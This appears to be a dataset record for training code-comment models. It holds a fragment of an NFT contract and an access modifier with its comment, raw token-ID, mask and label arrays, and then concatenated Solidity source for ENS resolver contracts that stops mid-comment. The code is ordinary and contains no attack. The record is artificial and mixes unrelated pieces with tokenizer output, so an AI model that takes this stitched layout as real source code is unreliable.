tokenId) public onlyOwner { require(tokenExists[tokenId] == false, "Token already exists"); tokenExists[tokenId] = true; metaHash[tokenId] = hash; internalMint(to, tokenId); } /** * @dev See {IERC721-safeMint}. */ function safeBurn(uint256 tokenId) public { address owner = NFTToken.ownerOf(tokenId); require(msg.sender == owner, "Only owner can burn"); tokenExists[tokenId] = false; delete metaHash[tokenId]; internalBurn(owner, tokenId); } }
* @dev modifier which check the status of user and continue only if msg.sender is administrator/
modifier onlyOwner() { require(ownerList[msg.sender] > 0, "onlyOwner exception"); _; }
14,713,219
[ 1, 20597, 1492, 866, 326, 1267, 434, 729, 471, 1324, 1338, 309, 1234, 18, 15330, 353, 22330, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 5541, 1435, 288, 203, 3639, 2583, 12, 8443, 682, 63, 3576, 18, 15330, 65, 405, 374, 16, 315, 3700, 5541, 1520, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.7.4;pragma experimental ABIEncoderV2; import "./ForwardingResolver.sol"; import "./profiles/StealthKeyResolver.sol"; contract ForwardingStealthKeyResolver is ForwardingResolver, StealthKeyResolver { constructor(ENS _ens, PublicResolver _fallbackResolver) ForwardingResolver(_ens, _fallbackResolver) { } function supportsInterface(bytes4 interfaceID) public virtual override(PublicResolver, StealthKeyResolver) pure returns(bool) { return StealthKeyResolver.supportsInterface(interfaceID); } } pragma solidity ^0.7.4;pragma experimental ABIEncoderV2; import "@ensdomains/ens/contracts/ENS.sol"; import "./profiles/ABIResolver.sol"; import "./profiles/AddrResolver.sol"; import "./profiles/ContentHashResolver.sol"; import "./profiles/DNSResolver.sol"; import "./profiles/InterfaceResolver.sol"; import "./profiles/NameResolver.sol"; import "./profiles/PubkeyResolver.sol"; import "./profiles/TextResolver.sol"; import "./PublicResolver.sol"; contract ForwardingResolver is PublicResolver { PublicResolver public fallbackResolver; constructor(ENS _ens, PublicResolver _fallbackResolver) PublicResolver(_ens) { fallbackResolver = _fallbackResolver; } //===============================AddrResolver Forwarding===============================// function setAddr(bytes32 node, address a) override external authorised(node) { fallbackResolver.setAddr(node, a); } function addr(bytes32 node) override public view returns (address payable) { return fallbackResolver.addr(node); } function setAddr(bytes32 node, uint coinType, bytes memory a) override public authorised(node) { fallbackResolver.setAddr(node, coinType, a); } function addr(bytes32 node, uint coinType) override public view returns(bytes memory) { return fallbackResolver.addr(node, coinType); } //===============================NameResolver Forwarding===============================// function setName(bytes32 node, string calldata name) override external authorised(node) { fallbackResolver.setName(node, name); } function name(bytes32 node) override external view returns (string memory) { return fallbackResolver.name(node); } //===============================PubkeyResolver Forwarding============================// function setPubkey(bytes32 node, bytes32 x, bytes32 y) override external authorised(node) { fallbackResolver.setPubkey(node, x, y); } function pubkey(bytes32 node) override external view returns (bytes32 x, bytes32 y) { return fallbackResolver.pubkey(node); } //===============================ABIResolver Forwarding================================// function setABI(bytes32 node, uint256 contentType, bytes calldata data) override external authorised(node) { fallbackResolver.setABI(node, contentType, data); } function ABI(bytes32 node, uint256 contentTypes) override external view returns (uint256, bytes memory) { return fallbackResolver.ABI(node, contentTypes); } //===============================TextResolver Forwarding===============================// function setText(bytes32 node, string calldata key, string calldata value) override external authorised(node) { fallbackResolver.setText(node, key, value); } function text(bytes32 node, string calldata key) override external view returns (string memory) { return fallbackResolver.text(node, key); } //===============================ContentHashResolver Forwarding========================// function setContenthash(bytes32 node, bytes calldata hash) override external authorised(node) { fallbackResolver.setContenthash(node, hash); } function contenthash(bytes32 node) override external view returns (bytes memory) { return fallbackResolver.contenthash(node); } //===============================DNSResolver Forwarding================================// function setDNSRecords(bytes32 node, bytes calldata data) override external authorised(node) { fallbackResolver.setDNSRecords(node, data); } function dnsRecord(bytes32 node, bytes32 name, uint16 resource) override public view returns (bytes memory) { return fallbackResolver.dnsRecord(node, name, resource); } function hasDNSRecords(bytes32 node, bytes32 name) override public view returns (bool) { return fallbackResolver.hasDNSRecords(node, name); } function clearDNSZone(bytes32 node) override public authorised(node) { fallbackResolver.clearDNSZone(node); } function setZonehash(bytes32 node, bytes calldata hash) override external authorised(node) { fallbackResolver.setZonehash(node, hash); } function zonehash(bytes32 node) override external view returns (bytes memory) { return fallbackResolver.zonehash(node); } } pragma solidity ^0.7.4; import "../ResolverBase.sol"; abstract contract StealthKeyResolver is ResolverBase { bytes4 constant private STEALTH_KEY_INTERFACE_ID = 0x69a76591; /// @dev Event emitted when a user updates their resolver stealth keys event StealthKeyChanged(bytes32 indexed node, uint256 spendingPubKeyPrefix, uint256 spendingPubKey, uint256 viewingPubKeyPrefix, uint256 viewingPubKey); /** * @dev Mapping used to store two secp256k1 curve public keys useful for * receiving stealth payments. The mapping records two keys: a viewing * key and a spending key, which can be set and read via the `setsStealthKeys` * and `stealthKey` methods respectively. * * The mapping associates the node to another mapping, which itself maps * the public key prefix to the actual key . This scheme is used to avoid using an * extra storage slot for the public key prefix. For a given node, the mapping * may contain a spending key at position 0 or 1, and a viewing key at position * 2 or 3. See the setter/getter methods for details of how these map to prefixes. * * For more on secp256k1 public keys and prefixes generally, see: * https://github.com/ethereumbook/ethereumbook/blob/develop/04keys-addresses.asciidoc#generating-a-public-key * */ mapping(bytes32 => mapping(uint256 => uint256)) _stealthKeys; /** * Sets the stealth keys associated with an ENS name, for anonymous sends. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param spendingPubKeyPrefix Prefix of the spending public key (2 or 3) * @param spendingPubKey The public key for generating a stealth address * @param viewingPubKeyPrefix Prefix of the viewing public key (2 or 3) * @param viewingPubKey The public key to use for encryption */ function setStealthKeys(bytes32 node, uint256 spendingPubKeyPrefix, uint256 spendingPubKey, uint256 viewingPubKeyPrefix, uint256 viewingPubKey) external authorised(node) { require( (spendingPubKeyPrefix == 2 || spendingPubKeyPrefix == 3) && (viewingPubKeyPrefix == 2 || viewingPubKeyPrefix == 3), "StealthKeyResolver: Invalid Prefix" ); emit StealthKeyChanged(node, spendingPubKeyPrefix, spendingPubKey, viewingPubKeyPrefix, viewingPubKey); // Shift the spending key prefix down by 2, making it the appropriate index of 0 or 1 spendingPubKeyPrefix -= 2; // Ensure the opposite prefix indices are empty delete _stealthKeys[node][1 - spendingPubKeyPrefix]; delete _stealthKeys[node][5 - viewingPubKeyPrefix]; // Set the appropriate indices to the new key values _stealthKeys[node][spendingPubKeyPrefix] = spendingPubKey; _stealthKeys[node][viewingPubKeyPrefix] = viewingPubKey; } /** * Returns the stealth key associated with a name. * @param node The ENS node to query. * @return spendingPubKeyPrefix Prefix of the spending public key (2 or 3) * @return spendingPubKey The public key for generating a stealth address * @return viewingPubKeyPrefix Prefix of the viewing public key (2 or 3) * @return viewingPubKey The public key to use for encryption */ function stealthKeys(bytes32 node) external view returns (uint256 spendingPubKeyPrefix, uint256 spendingPubKey, uint256 viewingPubKeyPrefix, uint256 viewingPubKey) { if (_stealthKeys[node][0] != 0) { spendingPubKeyPrefix = 2; spendingPubKey = _stealthKeys[node][0]; } else { spendingPubKeyPrefix = 3; spendingPubKey = _stealthKeys[node][1]; } if (_stealthKeys[node][2] != 0) { viewingPubKeyPrefix = 2; viewingPubKey = _stealthKeys[node][2]; } else { viewingPubKeyPrefix = 3; viewingPubKey = _stealthKeys[node][3]; } return (spendingPubKeyPrefix, spendingPubKey, viewingPubKeyPrefix, viewingPubKey); } function supportsInterface(bytes4 interfaceID) public virtual override pure returns(bool) { return interfaceID == STEALTH_KEY_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.0; interface ENS { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); // Logged when an operator is added or removed. event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external virtual; function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external virtual; function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external virtual returns(bytes32); function setResolver(bytes32 node, address resolver) external virtual; function setOwner(bytes32 node, address owner) external virtual; function setTTL(bytes32 node, uint64 ttl) external virtual; function setApprovalForAll(address operator, bool approved) external virtual; function owner(bytes32 node) external virtual view returns (address); function resolver(bytes32 node) external virtual view returns (address); function ttl(bytes32 node) external virtual view returns (uint64); function recordExists(bytes32 node) external virtual view returns (bool); function isApprovedForAll(address owner, address operator) external virtual view returns (bool); } pragma solidity ^0.7.4; import "../ResolverBase.sol"; abstract contract ABIResolver is ResolverBase { bytes4 constant private ABI_INTERFACE_ID = 0x2203ab56; event ABIChanged(bytes32 indexed node, uint256 indexed contentType); mapping(bytes32=>mapping(uint256=>bytes)) abis; /** * Sets the ABI associated with an ENS node. * Nodes may have one ABI of each content type. To remove an ABI, set it to * the empty string. * @param node The node to update. * @param contentType The content type of the ABI * @param data The ABI data. */ function setABI(bytes32 node, uint256 contentType, bytes calldata data) virtual external authorised(node) { // Content types must be powers of 2 require(((contentType - 1) & contentType) == 0); abis[node][contentType] = data; emit ABIChanged(node, contentType); } /** * Returns the ABI associated with an ENS node. * Defined in EIP205. * @param node The ENS node to query * @param contentTypes A bitwise OR of the ABI formats accepted by the caller. * @return contentType The content type of the return value * @return data The ABI data */ function ABI(bytes32 node, uint256 contentTypes) virtual external view returns (uint256, bytes memory) { mapping(uint256=>bytes) storage abiset = abis[node]; for (uint256 contentType = 1; contentType <= contentTypes; contentType <<= 1) { if ((contentType & contentTypes) != 0 && abiset[contentType].length > 0) { return (contentType, abiset[contentType]); } } return (0, bytes("")); } function supportsInterface(bytes4 interfaceID) virtual override public pure returns(bool) { return interfaceID == ABI_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4; import "../ResolverBase.sol"; abstract contract AddrResolver is ResolverBase { bytes4 constant private ADDR_INTERFACE_ID = 0x3b3b57de; bytes4 constant private ADDRESS_INTERFACE_ID = 0xf1cb7e06; uint constant private COIN_TYPE_ETH = 60; event AddrChanged(bytes32 indexed node, address a); event AddressChanged(bytes32 indexed node, uint coinType, bytes newAddress); mapping(bytes32=>mapping(uint=>bytes)) _addresses; /** * Sets the address associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param a The address to set. */ function setAddr(bytes32 node, address a) virtual external authorised(node) { setAddr(node, COIN_TYPE_ETH, addressToBytes(a)); } /** * Returns the address associated with an ENS node. * @param node The ENS node to query. * @return The associated address. */ function addr(bytes32 node) virtual public view returns (address payable) { bytes memory a = addr(node, COIN_TYPE_ETH); if(a.length == 0) { return address(0); } return bytesToAddress(a); } function setAddr(bytes32 node, uint coinType, bytes memory a) virtual public authorised(node) { emit AddressChanged(node, coinType, a); if(coinType == COIN_TYPE_ETH) { emit AddrChanged(node, bytesToAddress(a)); } _addresses[node][coinType] = a; } function addr(bytes32 node, uint coinType) virtual public view returns(bytes memory) { return _addresses[node][coinType]; } function supportsInterface(bytes4 interfaceID) virtual override public pure returns(bool) { return interfaceID == ADDR_INTERFACE_ID || interfaceID == ADDRESS_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4; import "../ResolverBase.sol"; abstract contract ContentHashResolver is ResolverBase { bytes4 constant private CONTENT_HASH_INTERFACE_ID = 0xbc1c58d1; event ContenthashChanged(bytes32 indexed node, bytes hash); mapping(bytes32=>bytes) hashes; /** * Sets the contenthash associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param hash The contenthash to set */ function setContenthash(bytes32 node, bytes calldata hash) virtual external authorised(node) { hashes[node] = hash; emit ContenthashChanged(node, hash); } /** * Returns the contenthash associated with an ENS node. * @param node The ENS node to query. * @return The associated contenthash. */ function contenthash(bytes32 node) virtual external view returns (bytes memory) { return hashes[node]; } function supportsInterface(bytes4 interfaceID) virtual override public pure returns(bool) { return interfaceID == CONTENT_HASH_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4; import "../ResolverBase.sol"; import "@ensdomains/dnssec-oracle/contracts/RRUtils.sol"; abstract contract DNSResolver is ResolverBase { using RRUtils for *; using BytesUtils for bytes; bytes4 constant private DNS_RECORD_INTERFACE_ID = 0xa8fa5682; bytes4 constant private DNS_ZONE_INTERFACE_ID = 0x5c47637c; // DNSRecordChanged is emitted whenever a given node/name/resource's RRSET is updated. event DNSRecordChanged(bytes32 indexed node, bytes name, uint16 resource, bytes record); // DNSRecordDeleted is emitted whenever a given node/name/resource's RRSET is deleted. event DNSRecordDeleted(bytes32 indexed node, bytes name, uint16 resource); // DNSZoneCleared is emitted whenever a given node's zone information is cleared. event DNSZoneCleared(bytes32 indexed node); // DNSZonehashChanged is emitted whenever a given node's zone hash is updated. event DNSZonehashChanged(bytes32 indexed node, bytes lastzonehash, bytes zonehash); // Zone hashes for the domains. // A zone hash is an EIP-1577 content hash in binary format that should point to a // resource containing a single zonefile. // node => contenthash mapping(bytes32=>bytes) private zonehashes; // Version the mapping for each zone. This allows users who have lost // track of their entries to effectively delete an entire zone by bumping // the version number. // node => version mapping(bytes32=>uint256) private versions; // The records themselves. Stored as binary RRSETs // node => version => name => resource => data mapping(bytes32=>mapping(uint256=>mapping(bytes32=>mapping(uint16=>bytes)))) private records; // Count of number of entries for a given name. Required for DNS resolvers // when resolving wildcards. // node => version => name => number of records mapping(bytes32=>mapping(uint256=>mapping(bytes32=>uint16))) private nameEntriesCount; /** * Set one or more DNS records. Records are supplied in wire-format. * Records with the same node/name/resource must be supplied one after the * other to ensure the data is updated correctly. For example, if the data * was supplied: * a.example.com IN A 1.2.3.4 * a.example.com IN A 5.6.7.8 * www.example.com IN CNAME a.example.com. * then this would store the two A records for a.example.com correctly as a * single RRSET, however if the data was supplied: * a.example.com IN A 1.2.3.4 * www.example.com IN CNAME a.example.com. * a.example.com IN A 5.6.7.8 * then this would store the first A record, the CNAME, then the second A * record which would overwrite the first. * * @param node the namehash of the node for which to set the records * @param data the DNS wire format records to set */ function setDNSRecords(bytes32 node, bytes calldata data) virtual external authorised(node) { uint16 resource = 0; uint256 offset = 0; bytes memory name; bytes memory value; bytes32 nameHash; // Iterate over the data to add the resource records for (RRUtils.RRIterator memory iter = data.iterateRRs(0); !iter.done(); iter.next()) { if (resource == 0) { resource = iter.dnstype; name = iter.name(); nameHash = keccak256(abi.encodePacked(name)); value = bytes(iter.rdata()); } else { bytes memory newName = iter.name(); if (resource != iter.dnstype || !name.equals(newName)) { setDNSRRSet(node, name, resource, data, offset, iter.offset - offset, value.length == 0); resource = iter.dnstype; offset = iter.offset; name = newName; nameHash = keccak256(name); value = bytes(iter.rdata()); } } } if (name.length > 0) { setDNSRRSet(node, name, resource, data, offset, data.length - offset, value.length == 0); } } /** * Obtain a DNS record. * @param node the namehash of the node for which to fetch the record * @param name the keccak-256 hash of the fully-qualified name for which to fetch the record * @param resource the ID of the resource as per https://en.wikipedia.org/wiki/List_of_DNS_record_types * @return the DNS record in wire format if present, otherwise empty */ function dnsRecord(bytes32 node, bytes32 name, uint16 resource) virtual public view returns (bytes memory) { return records[node][versions[node]][name][resource]; } /** * Check if a given node has records. * @param node the namehash of the node for which to check the records * @param name the namehash of the node for which to check the records */ function hasDNSRecords(bytes32 node, bytes32 name) virtual public view returns (bool) { return (nameEntriesCount[node][versions[node]][name] != 0); } /** * Clear all information for a DNS zone. * @param node the namehash of the node for which to clear the zone */ function clearDNSZone(bytes32 node) virtual public authorised(node) { versions[node]++; emit DNSZoneCleared(node); } /** * setZonehash sets the hash for the zone. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param hash The zonehash to set */ function setZonehash(bytes32 node, bytes calldata hash) virtual external authorised(node) { bytes memory oldhash = zonehashes[node]; zonehashes[node] = hash; emit DNSZonehashChanged(node, oldhash, hash); } /** * zonehash obtains the hash for the zone. * @param node The ENS node to query. * @return The associated contenthash. */ function zonehash(bytes32 node) virtual external view returns (bytes memory) { return zonehashes[node]; } function supportsInterface(bytes4 interfaceID) virtual override public pure returns(bool) { return interfaceID == DNS_RECORD_INTERFACE_ID || interfaceID == DNS_ZONE_INTERFACE_ID || super.supportsInterface(interfaceID); } function setDNSRRSet( bytes32 node, bytes memory name, uint16 resource, bytes memory data, uint256 offset, uint256 size, bool deleteRecord) internal { uint256 version = versions[node]; bytes32 nameHash = keccak256(name); bytes memory rrData = data.substring(offset, size); if (deleteRecord) { if (records[node][version][nameHash][resource].length != 0) { nameEntriesCount[node][version][nameHash]--; } delete(records[node][version][nameHash][resource]); emit DNSRecordDeleted(node, name, resource); } else { if (records[node][version][nameHash][resource].length == 0) { nameEntriesCount[node][version][nameHash]++; } records[node][version][nameHash][resource] = rrData; emit DNSRecordChanged(node, name, resource, rrData); } } } pragma solidity ^0.7.4; import "../ResolverBase.sol"; import "./AddrResolver.sol"; abstract contract InterfaceResolver is ResolverBase, AddrResolver { bytes4 constant private INTERFACE_INTERFACE_ID = bytes4(keccak256("interfaceImplementer(bytes32,bytes4)")); bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7; event InterfaceChanged(bytes32 indexed node, bytes4 indexed interfaceID, address implementer); mapping(bytes32=>mapping(bytes4=>address)) interfaces; /** * Sets an interface associated with a name. * Setting the address to 0 restores the default behaviour of querying the contract at `addr()` for interface support. * @param node The node to update. * @param interfaceID The EIP 165 interface ID. * @param implementer The address of a contract that implements this interface for this node. */ function setInterface(bytes32 node, bytes4 interfaceID, address implementer) external authorised(node) { interfaces[node][interfaceID] = implementer; emit InterfaceChanged(node, interfaceID, implementer); } /** * Returns the address of a contract that implements the specified interface for this name. * If an implementer has not been set for this interfaceID and name, the resolver will query * the contract at `addr()`. If `addr()` is set, a contract exists at that address, and that * contract implements EIP165 and returns `true` for the specified interfaceID, its address * will be returned. * @param node The ENS node to query. * @param interfaceID The EIP 165 interface ID to check for. * @return The address that implements this interface, or 0 if the interface is unsupported. */ function interfaceImplementer(bytes32 node, bytes4 interfaceID) external view returns (address) { address implementer = interfaces[node][interfaceID]; if(implementer != address(0)) { return implementer; } address a = addr(node); if(a == address(0)) { return address(0); } (bool success, bytes memory returnData) = a.staticcall(abi.encodeWithSignature("supportsInterface(bytes4)", INTERFACE_META_ID)); if(!success || returnData.length < 32 || returnData[31] == 0) { // EIP 165 not supported by target return address(0); } (success, returnData) = a.staticcall(abi.encodeWithSignature("supportsInterface(bytes4)", interfaceID)); if(!success || returnData.length < 32 || returnData[31] == 0) { // Specified interface not supported by target return address(0); } return a; } function supportsInterface(bytes4 interfaceID) virtual override(AddrResolver, ResolverBase) public pure returns(bool) { return interfaceID == INTERFACE_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4; import "../ResolverBase.sol"; abstract contract NameResolver is ResolverBase { bytes4 constant private NAME_INTERFACE_ID = 0x691f3431; event NameChanged(bytes32 indexed node, string name); mapping(bytes32=>string) names; /** * Sets the name associated with an ENS node, for reverse records. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param name The name to set. */ function setName(bytes32 node, string calldata name) virtual external authorised(node) { names[node] = name; emit NameChanged(node, name); } /** * Returns the name associated with an ENS node, for reverse records. * Defined in EIP181. * @param node The ENS node to query. * @return The associated name. */ function name(bytes32 node) virtual external view returns (string memory) { return names[node]; } function supportsInterface(bytes4 interfaceID) virtual override public pure returns(bool) { return interfaceID == NAME_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4; import "../ResolverBase.sol"; abstract contract PubkeyResolver is ResolverBase { bytes4 constant private PUBKEY_INTERFACE_ID = 0xc8690233; event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y); struct PublicKey { bytes32 x; bytes32 y; } mapping(bytes32=>PublicKey) pubkeys; /** * Sets the SECP256k1 public key associated with an ENS node. * @param node The ENS node to query * @param x the X coordinate of the curve point for the public key. * @param y the Y coordinate of the curve point for the public key. */ function setPubkey(bytes32 node, bytes32 x, bytes32 y) virtual external authorised(node) { pubkeys[node] = PublicKey(x, y); emit PubkeyChanged(node, x, y); } /** * Returns the SECP256k1 public key associated with an ENS node. * Defined in EIP 619. * @param node The ENS node to query * @return x The X coordinate of the curve point for the public key. * @return y The Y coordinate of the curve point for the public key. */ function pubkey(bytes32 node) virtual external view returns (bytes32 x, bytes32 y) { return (pubkeys[node].x, pubkeys[node].y); } function supportsInterface(bytes4 interfaceID) virtual override public pure returns(bool) { return interfaceID == PUBKEY_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4; import "../ResolverBase.sol"; abstract contract TextResolver is ResolverBase { bytes4 constant private TEXT_INTERFACE_ID = 0x59d1d43c; event TextChanged(bytes32 indexed node, string indexed indexedKey, string key); mapping(bytes32=>mapping(string=>string)) texts; /** * Sets the text data associated with an ENS node and key. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param key The key to set. * @param value The text data value to set. */ function setText(bytes32 node, string calldata key, string calldata value) virtual external authorised(node) { texts[node][key] = value; emit TextChanged(node, key, key); } /** * Returns the text data associated with an ENS node and key. * @param node The ENS node to query. * @param key The text data key to query. * @return The associated text data. */ function text(bytes32 node, string calldata key) virtual external view returns (string memory) { return texts[node][key]; } function supportsInterface(bytes4 interfaceID) virtual override public pure returns(bool) { return interfaceID == TEXT_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4;pragma experimental ABIEncoderV2; import "@ensdomains/ens/contracts/ENS.sol"; import "./profiles/ABIResolver.sol"; import "./profiles/AddrResolver.sol"; import "./profiles/ContentHashResolver.sol"; import "./profiles/DNSResolver.sol"; import "./profiles/InterfaceResolver.sol"; import "./profiles/NameResolver.sol"; import "./profiles/PubkeyResolver.sol"; import "./profiles/TextResolver.sol"; /** * A simple resolver anyone can use; only allows the owner of a node to set its * address. */ contract PublicResolver is ABIResolver, AddrResolver, ContentHashResolver, DNSResolver, InterfaceResolver, NameResolver, PubkeyResolver, TextResolver { ENS ens; /** * A mapping of authorisations. An address that is authorised for a name * may make any changes to the name that the owner could, but may not update * the set of authorisations. * (node, owner, caller) => isAuthorised */ mapping(bytes32=>mapping(address=>mapping(address=>bool))) public authorisations; event AuthorisationChanged(bytes32 indexed node, address indexed owner, address indexed target, bool isAuthorised); constructor(ENS _ens) { ens = _ens; } /** * @dev Sets or clears an authorisation. * Authorisations are specific to the caller. Any account can set an authorisation * for any name, but the authorisation that is checked will be that of the * current owner of a name. Thus, transferring a name effectively clears any * existing authorisations, and new authorisations can be set in advance of * an ownership transfer if desired. * * @param node The name to change the authorisation on. * @param target The address that is to be authorised or deauthorised. * @param isAuthorised True if the address should be authorised, or false if it should be deauthorised. */ function setAuthorisation(bytes32 node, address target, bool isAuthorised) external { authorisations[node][msg.sender][target] = isAuthorised; emit AuthorisationChanged(node, msg.sender, target, isAuthorised); } function isAuthorised(bytes32 node) internal override view returns(bool) { address owner = ens.owner(node); return owner == msg.sender || authorisations[node][owner][msg.sender]; } function multicall(bytes[] calldata data) external returns(bytes[] memory results) { results = new bytes[](data.length); for(uint i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); require(success); results[i] = result; } return results; } function supportsInterface(bytes4 interfaceID) virtual override(ABIResolver, AddrResolver, ContentHashResolver, DNSResolver, InterfaceResolver, NameResolver, PubkeyResolver, TextResolver) public pure returns(bool) { return super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4; abstract contract ResolverBase { bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7; function supportsInterface(bytes4 interfaceID) virtual public pure returns(bool) { return interfaceID == INTERFACE_META_ID; } function isAuthorised(bytes32 node) internal virtual view returns(bool); modifier authorised(bytes32 node) { require(isAuthorised(node)); _; } function bytesToAddress(bytes memory b) internal pure returns(address payable a) { require(b.length == 20); assembly { a := div(mload(add(b, 32)), exp(256, 12)) } } function addressToBytes(address a) internal pure returns(bytes memory b) { b = new bytes(20); assembly { mstore(add(b, 32), mul(a, exp(256, 12))) } } } pragma solidity ^0.7.4; import "./BytesUtils.sol"; import "@ensdomains/buffer/contracts/Buffer.sol"; /** * @dev RRUtils is a library that provides utilities for parsing DNS resource records. */ library RRUtils { using BytesUtils for *; using Buffer for *; /** * @dev Returns the number of bytes in the DNS name at 'offset' in 'self'. * @param self The byte array to read a name from. * @param offset The offset to start reading at. * @return The length of the DNS name at 'offset', in bytes. */ function nameLength(bytes memory self, uint offset) internal pure returns(uint) { uint idx = offset; while (true) { assert(idx < self.length); uint labelLen = self.readUint8(idx); idx += labelLen + 1; if (labelLen == 0) { break; } } return idx - offset; } /** * @dev Returns a DNS format name at the specified offset of self. * @param self The byte array to read a name from. * @param offset The offset to start reading at. * @return ret The name. */ function readName(bytes memory self, uint offset) internal pure returns(bytes memory ret) { uint len = nameLength(self, offset); return self.substring(offset, len); } /** * @dev Returns the number of labels in the DNS name at 'offset' in 'self'. * @param self The byte array to read a name from. * @param offset The offset to start reading at. * @return The number of labels in the DNS name at 'offset', in bytes. */ function labelCount(bytes memory self, uint offset) internal pure returns(uint) { uint count = 0; while (true) { assert(offset < self.length); uint labelLen = self.readUint8(offset); offset += labelLen + 1; if (labelLen == 0) { break; } count += 1; } return count; } uint constant RRSIG_TYPE = 0; uint constant RRSIG_ALGORITHM = 2; uint constant RRSIG_LABELS = 3; uint constant RRSIG_TTL = 4; uint constant RRSIG_EXPIRATION = 8; uint constant RRSIG_INCEPTION = 12; uint constant RRSIG_KEY_TAG = 16; uint constant RRSIG_SIGNER_NAME = 18; struct SignedSet { uint16 typeCovered; uint8 algorithm; uint8 labels; uint32 ttl; uint32 expiration; uint32 inception; uint16 keytag; bytes signerName; bytes data; bytes name; } function readSignedSet(bytes memory data) internal pure returns(SignedSet memory self) { self.typeCovered = data.readUint16(RRSIG_TYPE); self.algorithm = data.readUint8(RRSIG_ALGORITHM); self.labels = data.readUint8(RRSIG_LABELS); self.ttl = data.readUint32(RRSIG_TTL); self.expiration = data.readUint32(RRSIG_EXPIRATION); self.inception = data.readUint32(RRSIG_INCEPTION); self.keytag = data.readUint16(RRSIG_KEY_TAG); self.signerName = readName(data, RRSIG_SIGNER_NAME); self.data = data.substring(RRSIG_SIGNER_NAME + self.signerName.length, data.length - RRSIG_SIGNER_NAME - self.signerName.length); } function rrs(SignedSet memory rrset) internal pure returns(RRIterator memory) { return iterateRRs(rrset.data, 0); } /** * @dev An iterator over resource records. */ struct RRIterator { bytes data; uint offset; uint16 dnstype; uint16 class; uint32 ttl; uint rdataOffset; uint nextOffset; } /** * @dev Begins iterating over resource records. * @param self The byte string to read from. * @param offset The offset to 